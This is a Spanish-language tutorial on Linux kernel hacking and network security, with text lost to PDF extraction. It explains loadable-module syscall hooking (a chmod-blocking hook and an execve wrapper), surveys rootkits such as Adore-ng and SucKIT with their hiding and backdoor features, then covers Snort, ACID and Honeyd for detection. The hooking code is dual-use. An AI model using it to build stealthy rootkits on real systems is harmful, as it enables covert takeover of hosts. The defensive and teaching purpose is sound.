Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
